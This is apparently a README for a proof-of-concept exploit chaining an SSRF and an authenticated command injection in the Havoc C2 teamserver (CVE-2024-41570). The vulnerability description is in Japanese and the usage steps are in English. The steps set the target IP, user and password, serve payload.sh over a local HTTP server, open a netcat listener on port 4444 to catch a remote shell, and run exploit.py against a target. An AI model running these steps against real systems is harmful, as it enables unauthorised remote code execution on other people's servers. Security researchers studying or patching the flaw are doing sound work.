
これは、github.com/chebuyaとgithub.com/IncludeSecurityのPoCを使用した、Havoc C2フレームワークにおけるChained RCEです。
これは、Havoc C2 フレームワークにおけるチェーン型 RCE(CVE-2024-41570)です。
コマンドインジェクション: Havoc はコマンドインジェクションに対して脆弱であり、認証済みユーザーが Teamserver 上でコマンドを実行できるようになります。影響を受けるバージョンは 0.3 から最新リリース 0.6 までです。Havoc のデフォルトプロファイルにはハードコードされたパスワードが含まれているため、公開ネットワーク上でデフォルトプロファイルを使用する不注意な C2 オペレーターは、直ちに悪用される可能性があります。
SSRF: この脆弱性は、demon エージェントの登録とチェックインを偽装して、teamserver 上に TCP ソケットを開き、そこからデータを読み書きすることで悪用されます。これにより、攻撃者は teamserver の発信元 IP やその他多くの情報を漏えいさせることができます。
チェーン: SSRF を悪用して、認証済みコマンドインジェクションペイロードを配信します。

1. Modify the IP, USER and PASSWORD in the exploit.py file.
2. Modify IP in payload.sh
-> python3 -m venv myenv && source myenv/bin/activate
-> pip3 install -r requirements.txt
-> chmox +x payload.sh
-> python3 -m http.server (On another terminal)
-> nc -lvnp 4444 (On another terminal)
# Run the exploit
(myenv) -> python3 exploit.py -t https://site.com -i 0.0.0.0 -p 12345
クレジット: @chebuya と @Hyperreality